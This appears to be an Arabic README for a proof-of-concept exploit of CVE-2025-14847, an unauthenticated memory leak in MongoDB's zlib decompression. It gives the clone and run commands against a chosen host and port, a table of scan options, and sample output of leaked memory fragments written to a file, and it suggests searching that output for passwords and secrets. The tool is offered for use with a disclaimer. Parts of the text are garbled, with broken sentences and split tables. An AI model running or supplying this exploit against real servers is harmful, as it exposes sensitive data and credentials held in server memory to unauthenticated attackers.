
CVE-2025-14847 – استغلال تسرب الذاكرة بدون مصادقة في MongoDB
إثبات مفهوم (PoC) لاستغلال ثغرة فك ضغط zlib في MongoDB التي تتيح للمهاجمين غير المُصادَق عليهم قراءة ذاكرة حساسة من الخادم.
تم تنفيذ الإثبات بلغة Python 3 ويوضح كيف يمكن لحزمة OP_COMPRESSED خبيثة أن تُفعِّل الثغرة، مما يجعل MongoDB يُرجع ذاكرة غير مهيأة كبيانات BSON.
تنجم الثغرة عن خلل في آلية فك ضغط رسائل zlib في MongoDB:
uncompressedSize.يرسل الإثبات حزمة OP_COMPRESSED مُصمَّمة خصيصًا ويحلل استجابة الخطأ من الخادم لاستعادة أجزاء البيانات المسرّبة.
| المكوّن | الإصدار | ملاحظات |
|---|---|---|
| Python | ≥ 3.8 | البرنامج النصي مخصص لـ Python 3 فقط |
| MongoDB | ≥ 4.4 | يجب أن يكون الهدف عرضة لثغرة CVE‑2025‑14847 |
| اختياري |
# Clone the repo (or copy the script)
git clone https://github.com/lincemorado97/CVE-2025-14847.git
cd cve-2025-14847
# (Optional) Install required Python packages
pip install -r requirements.txt
python exploit.py [OPTIONS]
مثال:
python exploit.py --host 10.0.0.5 --port 27017 --min-offset 50 --max-offset 5000 --output leaks.bin
$ python3 exploit.py
11:02:41 CVE-2025-14847 INFO │ [*] Target: localhost:27017
11:02:41 CVE-2025-14847 INFO │ [*] Scanning offsets 20-8192
11:02:41 CVE-2025-14847 INFO │ Offset Hex ASCII
11:02:41 CVE-2025-14847 INFO │ ---------------------------------------------------------------------------
11:02:41 CVE-2025-14847 INFO │ 00000000: 20 6f 62 6a 65 63 74 20 77 69 74 68 20 75 6e 6b | object with unk|
11:02:41 CVE-2025-14847 INFO │ 00000010: 6e 6f 77 6e 20 5f 69 64 |nown _id|
11:02:41 CVE-2025-14847 INFO │ [+] offset= 39 len= 24:
11:02:45 CVE-2025-14847 INFO │ Offset Hex ASCII
11:02:45 CVE-2025-14847 INFO │ ---------------------------------------------------------------------------
11:02:45 CVE-2025-14847 INFO │ 00000000: 73 20 73 6b 69 70 70 65 64 20 64 75 72 69 6e 67 |s skipped during|
11:02:45 CVE-2025-14847 INFO │ 00000010: 20 74 72 65 65 20 77 61 6c 6b | tree walk|
11:02:45 CVE-2025-14847 INFO │ [+] offset=3064 len= 26:
11:02:50 CVE-2025-14847 INFO │ Offset Hex ASCII
....
11:02:50 CVE-2025-14847 INFO │ [+] offset=6663 len= 38:
11:02:52 CVE-2025-14847 SUCCESS │ [*] Total leaked: 496 bytes
11:02:52 CVE-2025-14847 SUCCESS │ [*] Unique fragments: 85
11:02:52 CVE-2025-14847 SUCCESS │ [*] Saved to: leaked.bin
سيقوم البرنامج النصي بتسجيل كل جزء مثير للاهتمام (بطول أكبر من 10 بايتات) وإخراج عرض سداسي عشري. تُلحق جميع البيانات المسرّبة بالملف leaked.bin.

[+] offset= <doc_len> len= <len> تشير إلى مكان العثور على الجزء.password، secret، إلخ) الموجودة في البيانات المسرّبة.يُقدَّم هذا الإثبات "كما هو" دون أي ضمان. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر يسببه هذا البرنامج النصي. استخدمه على مسؤوليتك الخاصة.
requirements.txt| مرفق في المستودع |
| الخيار | الافتراضي | الوصف |
|---|
--host | localhost | مضيف MongoDB الهدف |
--port | 27017 | منفذ MongoDB الهدف |
--min-offset | 20 | الحد الأدنى لطول المستند المراد فحصه |
--max-offset | 8192 | الحد الأقصى لطول المستند المراد فحصه |
--output | leaked.bin | الملف الذي تُحفظ فيه البيانات المسرّبة |